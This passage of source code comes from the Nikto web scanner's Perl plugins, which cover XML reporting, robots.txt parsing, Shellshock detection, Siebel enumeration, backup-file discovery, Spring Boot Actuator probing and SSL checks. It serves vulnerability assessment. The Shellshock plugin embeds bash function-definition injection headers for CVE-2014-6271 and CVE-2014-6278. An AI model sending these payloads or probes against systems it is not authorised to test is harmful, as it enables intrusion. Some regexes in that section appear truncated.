/^$mark->{'root'}/)) { $line .= $mark->{'root'} . $uri . ": "; } $line .= $item->{message}; if ($item->{refs} ne "") { $line .= " See: " . $item->{refs} . ": " } print $handle "$line\n"; } } 1; ================================================ FILE: program/plugins/nikto_report_xml.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: XML Reporting - Multi-host support with proper XML handling ############################################################################### our $XMLRPT_ALL = []; # Arrayref to hold all hosts' reports our $XMLRPT_CURR = undef; # Scalarref to current host's report our $XML_WRITER = undef; # XML::Writer instance our $XML_HANDLE = undef; # File handle use XML::Writer; use Time::Piece; use Time::Seconds; ############################################################################### sub nikto_report_xml_init { my $id = { name => "report_xml", full_name => "XML reports (v2)", author => "Sullo", description => "Produces a proper XML report with validation.", report_head => \&xml_open, report_host_start => \&xml_host_start, report_host_end => \&xml_host_end, report_close => \&xml_close, report_item => \&xml_item, report_ssl_info => \&xml_ssl_info, report_format => 'xml', copyright => "2025 Chris Sullo" }; return $id; } ############################################################################### # open output file sub xml_open { my ($file) = @_; print STDERR "+ ERROR: Output file not specified.\n" if $file eq ''; # Open file with lexical handle for writing my $fh; open($fh, ">>", $file) || die print STDERR "+ ERROR: Unable to open '$file' for write: $@\n"; # Enable autoflush $fh->autoflush(1); # Store lexical handle reference in package variable $XML_HANDLE = $fh; # Initialize XML writer with proper settings $XML_WRITER = XML::Writer->new(OUTPUT => $fh, DATA_MODE => 1, DATA_INDENT => 2, ENCODING => 'UTF-8', UNSAFE => 0 # Ensure proper escaping ); # Write XML declaration $XML_WRITER->xmlDecl('UTF-8'); # Write DOCTYPE if DTD is defined if (defined $CONFIGFILE{'NIKTODTD'} && $CONFIGFILE{'NIKTODTD'} ne '') { # Resolve DTD path relative to Nikto execution directory my $dtd_path = $CONFIGFILE{'NIKTODTD'}; if ($dtd_path !~ /^\// && defined $CONFIGFILE{'EXECDIR'}) { $dtd_path = "$CONFIGFILE{'EXECDIR'}/$dtd_path"; } $XML_WRITER->doctype('niktoscans', 'SYSTEM', $dtd_path); } # Start root element $XML_WRITER->startTag('niktoscans'); nprint("- XML report initialized with proper encoding and structure", "v", "report_xml"); return $fh; } ############################################################################### # start host entry sub xml_host_start { my ($handle, $mark) = @_; # Initialize current host report $XMLRPT_CURR = { targetip => $mark->{'ip'}, targethostname => $mark->{'hostname'}, targetport => $mark->{'port'}, targetbanner => $mark->{'banner'} || '', starttime => date_disp($mark->{'start_time'}), sitename => '', siteip => '', hostheader => $mark->{'vhost'} || $mark->{'hostname'}, errors => $mark->{'total_errors'} || 0, checks => $COUNTERS{'total_checks'} || 0, items => [], ssl_info => undef }; # Build site URLs my $protocol = $mark->{'ssl'} ? 'https' : 'http'; my $hostname = $mark->{'vhost'} || $mark->{'hostname'}; $XMLRPT_CURR->{'siteip'} = "$protocol://$mark->{'ip'}:$mark->{'port'}$mark->{'root'}"; $XMLRPT_CURR->{'siteip'} .= '/' unless $XMLRPT_CURR->{'siteip'} =~ /\/$/; if ($hostname ne '') { $XMLRPT_CURR->{'sitename'} = "$protocol://$hostname:$mark->{'port'}$mark->{'root'}"; $XMLRPT_CURR->{'sitename'} .= '/' unless $XMLRPT_CURR->{'sitename'} =~ /\/$/; } else { $XMLRPT_CURR->{'sitename'} = 'N/A'; } push(@$XMLRPT_ALL, $XMLRPT_CURR); # Write niktoscan start tag with all required attributes $XML_WRITER->startTag('niktoscan', hoststest => $COUNTERS{'hosts_completed'} || 0, options => $CLI{'all_options'} || '', version => $VARIABLES{'version'} || 'unknown', scanstart => localtime($COUNTERS{'scan_start'}) || '', scanend => localtime($COUNTERS{'scan_end'}) || '', scanelapsed => ($COUNTERS{'scan_elapsed'} || 0), nxmlversion => "1.2" ); # Write scandetails start tag $XML_WRITER->startTag('scandetails', targetip => $mark->{'ip'}, targethostname => $mark->{'hostname'}, targetport => $mark->{'port'}, targetbanner => $mark->{'banner'} || '', starttime => date_disp($mark->{'start_time'}), sitename => $XMLRPT_CURR->{'sitename'}, siteip => $XMLRPT_CURR->{'siteip'}, hostheader => $XMLRPT_CURR->{'hostheader'}, errors => $XMLRPT_CURR->{'errors'}, checks => $XMLRPT_CURR->{'checks'} ); nprint("- XML host entry started for $mark->{'hostname'}", "v", "report_xml"); } ############################################################################### # write SSL info sub xml_ssl_info { my ($handle, $mark) = @_; # Extract CN from subject for separate reporting my $cn = ''; if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { $cn = $1; } # Store SSL info in current host report $XMLRPT_CURR->{'ssl_info'} = { ciphers => $mark->{'ssl_cipher'}, issuers => $mark->{'ssl_cert_issuer'} || '', info => $mark->{'ssl_cert_subject'} || '', cn => $cn, altnames => $mark->{'ssl_cert_altnames'} || '' }; # Write SSL info tag immediately $XML_WRITER->emptyTag('ssl', ciphers => $XMLRPT_CURR->{'ssl_info'}->{'ciphers'}, issuers => $XMLRPT_CURR->{'ssl_info'}->{'issuers'}, info => $XMLRPT_CURR->{'ssl_info'}->{'info'}, cn => $XMLRPT_CURR->{'ssl_info'}->{'cn'}, altnames => $XMLRPT_CURR->{'ssl_info'}->{'altnames'} ); } ############################################################################### # end host entry sub xml_host_end { my ($handle, $mark) = @_; # Update host data with end time and elapsed time $XMLRPT_CURR->{'endtime'} = date_disp($mark->{'end_time'}); $XMLRPT_CURR->{'elapsed'} = $mark->{'end_time'} - $mark->{'start_time'}; $XMLRPT_CURR->{'itemsfound'} = $mark->{'total_vulns'} || 0; # Write statistics $XML_WRITER->emptyTag('statistics', elapsed => $XMLRPT_CURR->{'elapsed'}, itemsfound => $XMLRPT_CURR->{'itemsfound'}, itemstested => $XMLRPT_CURR->{'checks'}, endtime => $XMLRPT_CURR->{'endtime'} ); # Close scandetails and niktoscan tags $XML_WRITER->endTag('scandetails'); $XML_WRITER->endTag('niktoscan'); nprint("- XML host entry completed for $mark->{'hostname'}", "v", "report_xml"); } ############################################################################### # add item to current host sub xml_item { my ($handle, $mark, $item) = @_; # Add item to current host's items array push(@{ $XMLRPT_CURR->{'items'} }, { id => $item->{'nikto_id'}, method => $item->{'method'}, description => $item->{'message'}, uri => $item->{'uri'}, namelink => $item->{'namelink'} || '', iplink => $item->{'iplink'} || '', references => $item->{'refs'} || '' } ); # Write item tag with proper structure $XML_WRITER->startTag('item', id => $item->{'nikto_id'}, method => $item->{'method'} ); # Write item content with CDATA for potentially problematic content $XML_WRITER->startTag('description'); $XML_WRITER->cdata($item->{'message'}); $XML_WRITER->endTag('description'); $XML_WRITER->startTag('uri'); $XML_WRITER->cdata($item->{'uri'}); $XML_WRITER->endTag('uri'); $XML_WRITER->startTag('namelink'); $XML_WRITER->cdata($item->{'namelink'} || ''); $XML_WRITER->endTag('namelink'); $XML_WRITER->startTag('iplink'); $XML_WRITER->cdata($item->{'iplink'} || ''); $XML_WRITER->endTag('iplink'); $XML_WRITER->startTag('references'); $XML_WRITER->cdata($item->{'refs'} || ''); $XML_WRITER->endTag('references'); $XML_WRITER->endTag('item'); } ############################################################################### # close output file sub xml_close { my ($handle) = @_; # Close root element $XML_WRITER->endTag('niktoscans'); # End the XML writer $XML_WRITER->end(); # Close file handle close($XML_HANDLE) if $XML_HANDLE; # Validate XML if possible xml_validate_output($handle); nprint("- XML report completed with proper structure", "v", "report_xml"); } ############################################################################### # Validate XML output sub xml_validate_output { my ($filename) = @_; # Only validate if XML::LibXML is available eval { require XML::LibXML; my $parser = XML::LibXML->new(); my $doc = $parser->parse_file($filename); # Validate against DTD if available if (defined $CONFIGFILE{'NIKTODTD'} && $CONFIGFILE{'NIKTODTD'} ne '') { $doc->validate(); nprint("- XML output validated against DTD successfully", "v", "report_xml"); } else { nprint("- XML output is well-formed", "v", "report_xml"); } }; if ($@) { nprint("+ WARNING: XML validation failed: $@", "e"); } } sub nikto_reports { } # so core doesn't freak 1; ================================================ FILE: program/plugins/nikto_robots.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Check out the robots.txt file ############################################################################### sub nikto_robots_init { my $id = { name => "robots", full_name => "Robots", author => "Sullo", description => "Checks whether there's anything within the robots.txt file and analyses it for other paths to pass to other scripts.", hooks => { recon => { method => \&nikto_robots, weight => 49, }, }, copyright => "2008 Chris Sullo", options => { nocheck => "Flag to disable checking entries in robots file.", } }; return $id; } sub nikto_robots { my ($mark, $parameters) = @_; return if $mark->{'terminate'}; my ($code, $content, $errors, $request, $response) = nfetch($mark, "/robots.txt", "GET", "", "", "", "robots"); my $has_non_root_entries = 1; # Validate content-type: should be text/* or not present if (defined($response->{'content-type'})) { if ( $response->{'content-type'} !~ /^text\//i || $response->{'content-type'} =~ /^text\/html/i) { return; # Not a text type, or is HTML - skip processing } } # Accept any 2xx success code (except 204 No Content) or custom "okay" response if ($code =~ /^2\d\d$/) { if (is_404($mark, "/robots.txt", $response)) { return; } my (%DIRS, %RFILES); my $DISCTR = 0; my @DOC = split(/\n/, $content); my $tocheck; foreach my $line (@DOC) { $line =~ s/(?:^\s+|\s+$)//g; $line = quotemeta($line); if ($line =~ /allow/i) { chomp($line); # Report if Allow $has_non_root_entries = 0 if ($line =~ /^allow/i); $line =~ s/\#.*$//; $line =~ s/\s+/ /g; $line =~ s/\t/ /g; $line =~ s/(?:dis)?allow(?:\\:)?(?:\\\s+)?//i; $line =~ s/\/+/\//g; $line =~ s/\\//g; if ($line eq "") { next; } # try to figure out file vs dir... just guess... if (($line !~ /\./) && ($line !~ /\/$/)) { $line .= "/"; } $line = LW2::uri_normalize($line); # figure out dirs/files... my $realdir = validate_and_fix_regex(LW2::uri_get_dir($line)); my $realfile = validate_and_fix_regex($line); $realfile =~ s/^$realdir//; nprint("- robots.txt entry dir:$realdir -- file:$realfile", "d", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); if (($realdir ne "") && ($realdir ne "/")) { $realdir =~ s/\\//g; $DIRS{$realdir} = 1; } if (($realfile ne "") && ($realfile ne "/")) { $realfile =~ s/\\//g; $RFILES{$realfile} = 1; } $DISCTR++; if (($realdir ne "") && ($realdir ne "/")) { $has_non_root_entries = 0; } next if ( ($realdir eq "/" && $realfile eq "") || ($realfile eq "/" && $realdir eq "")); next if ($line =~ /\*/); # Wildcards $tocheck{$line} = 1; } # end if $line =~ allow } # end foreach my $line (@DOC) # Check for allowed paths foreach my $line (keys %tocheck) { return if $mark->{'terminate'}; if (!defined($parameters->{'nocheck'})) { my ($res, $content, $error, $request, $response) = nfetch($mark, $line, "GET", "", "", "", "Robots: Check for URI"); if (!is_404($mark, $line, $response) && ($res !~ /^40[346]$/) && ($res !~ /^30[21]$/)) { add_vulnerability( $mark, "/robots.txt: Entry '$line' is returned a non-forbidden or redirect HTTP code ($res)", 999997, "https://portswigger.net/kb/issues/00600600_robots-txt-file", "GET", "/$line", $request, $response ); } } } # Use shared path matching logic path_matcher(\%RFILES, \%DIRS, undef); my $msg = ($DISCTR == 1) ? "contains 1 entry which should be manually viewed." : ($DISCTR > 1) ? "contains $DISCTR entries which should be manually viewed." : "retrieved but it does not contain any 'disallow' entries (which is odd)."; if ($has_non_root_entries eq 0) { add_vulnerability($mark, "/robots.txt: $msg", 999996, "https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt", "GET", "/robots.txt", $request, $response); } } } 1; ================================================ FILE: program/plugins/nikto_shellshock.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Check for the bash 'shellshock' vulnerability ############################################################################### sub nikto_shellshock_init { my $id = { name => "shellshock", full_name => "shellshock", author => "sullo", description => "Look for the bash 'shellshock' vulnerability.", hooks => { scan => { method => \&nikto_shellshock, weight => 20 }, }, copyright => "2014 Chris Sullo", options => { uri => "uri to assess", }, }; return $id; } sub nikto_shellshock { my ($mark, $parameters) = @_; my ($found, @names,); # This would be better coming from live scan results and not db_variables my @files = split(/ /, $VARIABLES{"\@SHELLSHOCK"}); push(@files, ""); my %headers; $headers{'User-Agent'} = '() { :; }; echo 93e4r0-cve-2014-6271: true;echo;echo;'; $headers{'Referer'} = '() { _; } >_[$($())] { echo 93e4r0-cve-2014-6278: true; echo;echo; }'; my @dirs = split(/ /, $VARIABLES{'@CGIDIRS'}); push(@dirs, "/"); #check for FP... error in page my $checkcontent = 1; my ($res, $content, $error, $request, $response) = nfetch($mark, "/", "GET", "", \%headers, "", "shellshock"); if ($content =~ /93e4r0-cve/) { $checkcontent = 0; nprint( "Content seems to contain error headers, ignoring content match in shellshock plugin", "v"); } if (defined $parameters->{'uri'}) { # request by hostname my ($res, $content, $error, $request, $response) = nfetch($mark, "$parameters->{'uri'}", "GET", "", \%headers, "", "shellshock"); if ( ($response->{'93e4r0-cve-2014-6271'} eq 'true') || ($checkcontent && ($content =~ /(?{'uri'}: Site appears vulnerable to the 'shellshock' vulnerability).", 999949, "CVE-2014-6271", "GET", "$parameters->{'uri'}", $request, $response ); } if ( ($response->{'93e4r0-cve-2014-6278'} eq 'true') || ($checkcontent && ($content =~ /(?{'uri'}: Site appears vulnerable to the 'shellshock' vulnerability.", 999948, "CVE-2014-6278", "GET", "$parameters->{'uri'}", $request, $response ); } } else { foreach my $cgidir (@dirs) { foreach my $file (@files) { return if $mark->{'terminate'}; # request by hostname my ($res, $content, $error, $request, $response) = nfetch($mark, "$cgidir$file", "GET", "", \%headers, "", "shellshock"); if ( ($response->{'93e4r0-cve-2014-6271'} eq 'true') || ($checkcontent && ($content =~ /(?{'93e4r0-cve-2014-6278'} eq 'true') || ($checkcontent && ($content =~ /(? "siebel", full_name => "Siebel Checks", author => "Tautology", description => "Performs a set of checks against an installed Siebel application", hooks => { scan => { method => \&nikto_siebel, }, }, copyright => "2011 Chris Sullo", options => { enumerate => "Flag to indicate whether we shall attempt to enumerate known apps", applications => "List of applications", languages => "List of Languages", application => "Application to attack", } }; return $id; } sub nikto_siebel { my ($mark, $parameters) = @_; return if $mark->{'terminate'}; my $application; # Check whether we have an application if (defined $parameters->{'enumerate'}) { my @apps = nikto_siebel_enumerate($mark, $parameters); $application = $apps[0]; } if ($application eq "" && defined $parameters->{'application'}) { $application = $parameters->{'application'}; } if ($application eq "") { nprint("No Siebel Application defined", "v", "siebel"); return; } # Now we have an application time to perform some tests my $path = $application . "/base.txt"; my ($res, $content, $error, $request, $response) = nfetch($mark, $path, "GET", "", "", "", "siebel: find default pages"); if ($res eq "200") { my ($siebelver, $appver, $hotfix); $siebelver = $content; $siebelver =~ s/([ \t]*)([0-9.]*)( .*\n.*)/$2/; chomp($siebelver); $appver = $content; $appver =~ s/(.*\[)(.*)(\].*\n.*)/$2/; chomp($appver); $hotfix = $content; $hotfix =~ s/(.*\n)(.*HOTFIX )(.*)/$3/; add_vulnerability( $mark, "$path: Siebel version $siebelver found application version $appver and applied hostfixes are $hotfix", 999901, "https://www.oracle.com/applications/siebel/", "GET", $path, $request, $response ); } $path = $application . "/_stats.swe"; ($res, $content, $error, $request, $response) = nfetch($mark, $path, "GET", "", "", "", "siebel: find default pages"); if ($res eq "200") { add_vulnerability( $mark, "/_stats.swe: Siebel stats page found", 999902, "https://docs.oracle.com/cd/E14004_01/books/SysDiag/SysDiagSWSEstats7.html", "GET", $path, $request, $response ); } foreach my $page (split(/ /, "About_Siebel.htm files/ images/ help/ siebstarthelp.htm siebindex.htm")) { $path = $application . "/$page"; ($res, $content, $error, $request, $response) = nfetch($mark, $path, "GET", "", "", "", "siebel: find default pages"); if ($res eq "200") { add_vulnerability($mark, "$path: Siebel default file found", 999903, "", "GET", $path, $request, $response); } } return; } sub nikto_siebel_enumerate { my ($mark, $params) = @_; # Default apps and languages - allow parameters to over-ride them. my $apps = "emarketing ecustomer pmmanager sales marketing wpeserv salesce econsumerpharma emedia epublicsector eaf echannelcme epharmace siaservicece finseenenrollment ecustomercme loyalty erm etraining esales callcenter wpsales eai smc eprofessionalpharma eenergy pseservice sismarketing econsumer medicalce epharma fins finesales finscustomer htim loyaltyscw ermadmin eevents eauctionswexml cra wpserv eai_anon edealer esitesclinical eautomotive econsumersector echannelaf eEnergyOilGasChemicals cgce eclinical finsconsole finsebanking finssalespam htimpim eloyalty ememb pimportal eservice service wppm servicece edealerscw ecommunications ehospitality eretail echannelcg eCommunicationsWireless siasalesce emedical finsechannel finsebrokerage esalescme"; my $langs = "enu euq cht dan fin deu hun kor ptb sky sve pse cat shl nld fra ell ita nor ptg slv tha psl chs csy frc heb jpn plk rus esn trk"; my @foundapps; if ($params->{applications}) { $apps = $params->{applications}; } if ($params->{languages}) { $langs = $params->{languages}; } foreach my $language (split(/ /, $langs)) { foreach my $application (split(/ /, $apps)) { my $appname = $application . "_" . $language; my $startname = $appname . "/start.swe"; ($res, $content, $error, $request, $response) = nfetch($mark, $startname, "GET", "", "", "", "Siebel: enumerate application"); if ($res eq "200") { # We've found an app add_vulnerability($mark, "$startname: Enumerated Siebel application: " . $appname, 999900, "", "GET", $startname, $request, $response); push(@foundapps, $appname); } } } return @foundapps; } 1; ================================================ FILE: program/plugins/nikto_sitefiles.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Look for interesting files based on site name/ip ############################################################################### sub nikto_sitefiles_init { my $id = { name => "sitefiles", full_name => "Site Files", author => "sullo", description => "Look for interesting files based on the site's IP/name", hooks => { scan => { method => \&nikto_sitefiles, }, }, copyright => "2014 Chris Sullo" }; return $id; } ############################################################################### # File type detection functions to reduce false positives ############################################################################### sub detect_file_type { my ($content, $uri) = @_; my $first_bytes = substr($content, 0, 64); # Check first 64 bytes my $content_length = length($content); # Return early for empty content return 'empty' if $content_length == 0; # File signatures (Magic Numbers) my %signatures = ( # Archive formats 'zip' => qr/^PK\x03\x04|PK\x05\x06|PK\x07\x08/, 'tar' => qr/^.{257}ustar|^.{257}ustar\x00|^.{257}ustar |^.{257}ustar\x00\x00/, 'gz' => qr/^\x1f\x8b/, 'bz2' => qr/^BZh/, 'lzma' => qr/^\x5d\x00\x00/, # Certificate/Key formats 'pem' => qr/^-----BEGIN (CERTIFICATE|RSA PRIVATE KEY|DSA PRIVATE KEY|EC PRIVATE KEY|PRIVATE KEY|PUBLIC KEY)-----/, 'jks' => qr/^\xfe\xed\xfe\xed/, # Java KeyStore magic # Database formats 'sql' => qr/^(CREATE|INSERT|UPDATE|DELETE|SELECT|DROP|ALTER|--|\/\*|select)/i, ); # Check signatures foreach my $type (keys %signatures) { if ($first_bytes =~ $signatures{$type}) { return $type; } } # Special handling for ZIP-based formats (egg, war) - check BEFORE generic ZIP if ($first_bytes =~ /^PK\x03\x04/) { if ($uri =~ /\.egg$/i) { return 'egg'; } if ($uri =~ /\.war$/i) { return 'war'; } } # tar detection - check for tar file structure if ($uri =~ /\.tar$/i) { # Tar files have 512-byte blocks, check if content length is multiple of 512 if ($content_length % 512 == 0) { # Check for null bytes at the end (tar files end with null blocks) my $last_block = substr($content, -512); if ($last_block =~ /^\x00+$/) { return 'tar'; } } # Check for tar header structure (first 512 bytes should have specific format) if ($content_length >= 512) { my $header = substr($content, 0, 512); # Tar header: filename (100 bytes) + mode (8) + uid (8) + gid (8) + size (12) + mtime (12) + checksum (8) + typeflag (1) + linkname (100) + magic (6) + version (2) + uname (32) + gname (32) + devmajor (8) + devminor (8) + prefix (155) + padding (12) # Check if it looks like a tar header (has printable filename, reasonable size) my $filename = substr($header, 0, 100); $filename =~ s/\x00.*$//; # Remove null padding if ($filename =~ /^[[:print:]]+$/ && length($filename) > 0) { return 'tar'; } } } # Special case: Check for compressed tar variants if ($uri =~ /\.(tar\.gz|tgz)$/i && $first_bytes =~ /^\x1f\x8b/) { return 'tar.gz'; } if ($uri =~ /\.(tar\.bz2)$/i && $first_bytes =~ /^BZh/) { return 'tar.bz2'; } if ($uri =~ /\.(tar\.lzma)$/i && $first_bytes =~ /^\x5d\x00\x00/) { return 'tar.lzma'; } # Check for HTML/Text content (negative cases) if ($first_bytes =~ /^ [ 'zip', 'binary' ], 'tar' => [ 'tar', 'binary' ], 'gz' => [ 'gz', 'binary' ], 'bz2' => [ 'bz2', 'binary' ], 'lzma' => [ 'lzma', 'binary' ], 'egg' => [ 'egg', 'zip', 'binary' ], # egg files can be detected as zip 'war' => [ 'war', 'zip', 'binary' ], # war files can be detected as zip 'pem' => [ 'pem', 'text' ], 'jks' => [ 'jks', 'binary' ], 'sql' => [ 'sql', 'text' ], 'tar.gz' => [ 'gz', 'binary' ], # gz signature for tar.gz 'tar.bz2' => [ 'bz2', 'binary' ], # bz2 signature for tar.bz2 'tar.lzma' => [ 'lzma', 'binary' ], # lzma signature for tar.lzma ); # Check if detected type matches expected if (exists $expected_types{$expected_type}) { my @valid_types = @{ $expected_types{$expected_type} }; foreach my $valid_type (@valid_types) { return 1 if $detected_type eq $valid_type; } return 0; # Mismatch } # For unknown expected types, just check it's not HTML return 0 if $detected_type eq 'html'; return 1; } sub is_likely_real_file { my ($content, $uri) = @_; # Quick size check return 0 if length($content) < 20; # Get expected file type from URI my $expected_type = ''; if ($uri =~ /\.(tar\.gz|tgz)$/i) { $expected_type = 'tar.gz'; } elsif ($uri =~ /\.(tar\.bz2)$/i) { $expected_type = 'tar.bz2'; } elsif ($uri =~ /\.(tar\.lzma)$/i) { $expected_type = 'tar.lzma'; } elsif ($uri =~ /\.(zip|tar|gz|bz2|lzma|egg|war|pem|jks|sql)$/i) { $expected_type = lc($1); } # If we can't determine expected type, do basic validation if (!$expected_type) { my $detected = detect_file_type($content, $uri); return 0 if $detected eq 'html'; # HTML = likely false positive return 1 if $detected =~ /^(binary|zip|tar|gz|bz2|lzma|egg|war|pem|jks|sql)$/; return 0; } # Validate against expected type return validate_file_content($content, $uri, $expected_type); } sub analyze_file_details { my ($content, $uri) = @_; my $detected_type = detect_file_type($content, $uri); my $content_length = length($content); my $entropy = calculate_entropy($content); # Calculate confidence my $confidence = 0; # Base confidence on file type $confidence += 90 if $detected_type =~ /^(zip|tar|gz|bz2|lzma|egg|war|jks)$/; $confidence += 85 if $detected_type eq 'pem'; $confidence += 80 if $detected_type eq 'sql'; $confidence += 70 if $detected_type eq 'binary'; $confidence -= 50 if $detected_type eq 'html'; # Penalty for HTML # Size-based adjustments $confidence += 10 if $content_length > 1000; # Larger files more likely real if ($content_length < 100) { # Be more lenient with certain file types - small files are common if ($detected_type eq 'sql') { $confidence -= 10; # Less penalty for small SQL files } elsif ($detected_type eq 'lzma') { $confidence -= 5; # Very small penalty for small LZMA files } else { $confidence -= 20; # Very small files suspicious } } # Entropy-based adjustments $confidence += 15 if $entropy > 7.0; # High entropy = likely binary if ($entropy < 3.0) { # Be more lenient with LZMA files for low entropy if ($detected_type eq 'lzma') { $confidence -= 10; # Less penalty for LZMA with low entropy } else { $confidence -= 20; # Low entropy = likely text/HTML } } # Ensure confidence is between 0-100 $confidence = 0 if $confidence < 0; $confidence = 100 if $confidence > 100; # Return a simple array instead of hash to avoid construction issues return [ $detected_type, $content_length, $entropy, $confidence ]; } sub nikto_sitefiles { my ($mark) = @_; my (%flags, %files, %names); # Minimum confidence required to report a file my $confidence_threshold = 60; $names{ $mark->{'hostname'} } = 1; $names{ $mark->{'vhost'} } = 1; foreach my $n (keys %names) { my $nn = $n; $nn =~ s/^www(?:\d+)?\.//; $names{$nn} = 1; $nn = $n; $nn =~ s/\./_/g; $names{$nn} = 1; my @bits = split(/\./, $n); my ($temp1, $temp2) = ''; for (my $i = 0 ; $i <= $#bits ; $i++) { $names{ $bits[$i] } = 1; $temp1 .= $bits[$i]; $temp2 .= '.' . $bits[$i]; $temp2 =~ s/^\.//; $names{$temp1} = 1; $names{$temp2} = 1; } } $names{'backup'} = 1; $names{'site'} = 1; $names{'archive'} = 1; $names{'database'} = 1; $names{'dump'} = 1; $names{ $mark->{'ip'} } = 1; foreach my $item (keys %names) { next if $item eq ''; foreach my $ext (qw/jks cer pem zip tar tar.gz gz tgz tar.bz2 tar.lzma bz2 lzma egg war sql/) { $files{"$item\.$ext"} = 1; } } foreach my $f (keys %files) { # trickery to test with both host header and without foreach my $flag (0 .. 1) { return if $mark->{'terminate'}; my $msg = ""; $flags{'nohost'} = $flag; if ($flag) { $msg = "(NOTE: requested by IP address)."; } # request. flags passed will determine if hostname is used or not my ($res, $content, $error, $request, $response) = nfetch($mark, "/$f", "GET", "", "", \%flags, "sitefiles"); my $condition1 = defined($response->{'content-type'}) && $response->{'content-type'} =~ /^application\//i; my $condition2 = ($res == 200) && (length($content) > 0) && (!defined($response->{'content-type'}) || $response->{'content-type'} !~ /^text\//i) && (!is_404($mark, "/$f", $response)); if ($condition1 || $condition2) { # Enhanced content analysis to reduce false positives if (is_likely_real_file($content, "/$f")) { my $analysis = analyze_file_details($content, "/$f"); my $conf = $analysis->[3]; # Only report if confidence is high enough if ($conf > $confidence_threshold) { my $type_info = "Confidence: $conf%"; add_vulnerability( $mark, "/$f: Potentially interesting backup/cert file found. $msg [$type_info]", 740001, "https://cwe.mitre.org/data/definitions/530.html", "HEAD", "/$f", $request, $response ); } } last; } } } } 1; ================================================ FILE: program/plugins/nikto_springboot.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Scan for exposed Spring Boot Actuator endpoints and basic info leaks ############################################################################### use JSON; sub nikto_springboot_init { my $id = { name => "springboot", full_name => "Spring Boot Actuator endpoint check", author => "Sullo", description => "Detects exposed Spring Boot Actuator endpoints and basic info leaks", hooks => { scan => { method => \&nikto_springboot, } }, copyright => "2025 Chris Sullo" }; return $id; } sub nikto_springboot { my ($mark) = @_; my $root = $mark->{'root'} || ''; $root =~ s/\/$//; # Remove trailing slash if present my @endpoints = qw( /actuator /actuator/health /actuator/info /actuator/env /actuator/mappings /actuator/metrics /actuator/beans /actuator/configprops /actuator/loggers /actuator/threaddump /actuator/auditevents /actuator/httptrace /actuator/scheduledtasks /actuator/heapdump /actuator/jolokia /actuator/prometheus ); my $host = $mark->{'hostname'}; my $port = $mark->{'port'}; my $proto = $mark->{'ssl'} ? 'https' : 'http'; my $base_url = "$proto://$host:$port"; foreach my $ep (@endpoints) { my $path = $root . $ep; nprint("Checking $path", "v", "springboot"); my ($res, $content, $error, $request, $response) = nfetch($mark, $path, 'GET', '', '', undef, 'springboot'); my $ct = $response->{'content-type'} || ''; # Quick exits if ($res == 404) { next; } elsif ($res != 200 && $res != 404) { nprint("$path: Non-200 ($res) - possibly restricted endpoint", "v", "springboot"); next; } # resposnes should be JSON next unless ($ct =~ /application\/json/i || $content =~ /^\s*\{/); my $json; eval { $json = decode_json($content); }; if ($@ || !$json) { nprint("$path: 200 but invalid JSON", "v", "springboot"); next; } # /actuator special handling if ($ep eq '/actuator') { if (exists $json->{'_links'} && ref($json->{'_links'}) eq 'HASH') { my $links = $json->{'_links'}; my @found; foreach my $k (keys %$links) { my $href = $links->{$k}{'href'}; next unless $href; my $report_val; # If on same host, report only the path; otherwise, report full URL if ($href =~ m{^$proto://$host(?::$port)?(/.*)$}) { $report_val = $1; } else { $report_val = $href; } push @found, $report_val; add_vulnerability( $mark, "$report_val: Spring Boot Actuator endpoint discovered via /actuator _links.", 750001, "https://docs.spring.io/spring-boot/docs/current/actuator-api/html/", 'GET', $report_val ); } } else { nprint("/actuator: 200 but no _links", "v", "springboot"); } next; } # /actuator/health if ($ep eq '/actuator/health') { if (exists $json->{'status'} && $json->{'status'} eq 'UP') { add_vulnerability( $mark, "$path: Spring Boot Actuator health endpoint exposed", 750002, "https://docs.spring.io/spring-boot/docs/current/actuator-api/html/#health", 'GET', $path ); } next; } # /actuator/info if ($ep eq '/actuator/info') { if ( exists $json->{'build'} && ref($json->{'build'}) eq 'HASH' && exists $json->{'build'}{'version'}) { add_vulnerability( $mark, "$path: Spring Boot Actuator info endpoint exposed (build version: $json->{'build'}{'version'})", 750003, "https://docs.spring.io/spring-boot/docs/current/actuator-api/html/#info", 'GET', $path ); } next; } # Other endpoints: report if valid, non-empty JSON if (ref($json) eq 'HASH' && scalar(keys %$json) > 0) { add_vulnerability( $mark, "$path: Spring Boot Actuator endpoint exposed (valid JSON response)", 750004, "https://docs.spring.io/spring-boot/docs/current/actuator-api/html/", 'GET', $path ); } } } 1; ================================================ FILE: program/plugins/nikto_ssl.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Test certificate information ############################################################################### sub nikto_ssl_init { my $id = { name => "ssl", full_name => "SSL and cert checks", author => "Sullo", description => "Perform checks on SSL/Certificates", hooks => { scan => { method => \&nikto_ssl, } }, copyright => "2010 Chris Sullo" }; return $id; } sub nikto_ssl { my ($mark) = @_; if ($mark->{ssl}) { my @cn_names; my @san_names; my $match = 0; # Extract CN from subject if ($mark->{'ssl_cert_subject'} =~ /CN=([^$ \/]+)/) { push(@cn_names, $1); } # Extract SAN names if ($mark->{'ssl_cert_altnames'} ne '') { foreach my $n (split(/, /, $mark->{'ssl_cert_altnames'})) { push(@san_names, $n); } } # Combine all names for validation my @all_names = (@cn_names, @san_names); @all_names = unique_vals(@all_names); # Create detailed name lists for error messages my $cn_list = @cn_names ? join(", ", @cn_names) : "none"; my $san_list = @san_names ? join(", ", @san_names) : "none"; my $allnames = join(", ", @all_names); foreach my $cert_name (@all_names) { next unless $cert_name; # Skip empty names # straight up match if (lc($mark->{'hostname'}) eq lc($cert_name)) { $match = 1; } # wildcard cert elsif ($cert_name =~ /^\*/) { add_vulnerability($mark, "/: Server is using a wildcard certificate: $cert_name", 999992, "https://en.wikipedia.org/wiki/Wildcard_certificate"); $cert_name =~ s/^\*\.//; $cert_name = rquote($cert_name); # must match leading dot # only one level of subdomain allowed if ($mark->{'hostname'} =~ /^(.*)\.?$cert_name/i) { my $matched = $1; my $tldcount = ($matched =~ tr/\.//); if ($tldcount <= 1) { $match = 1; } } } last if $match; } if 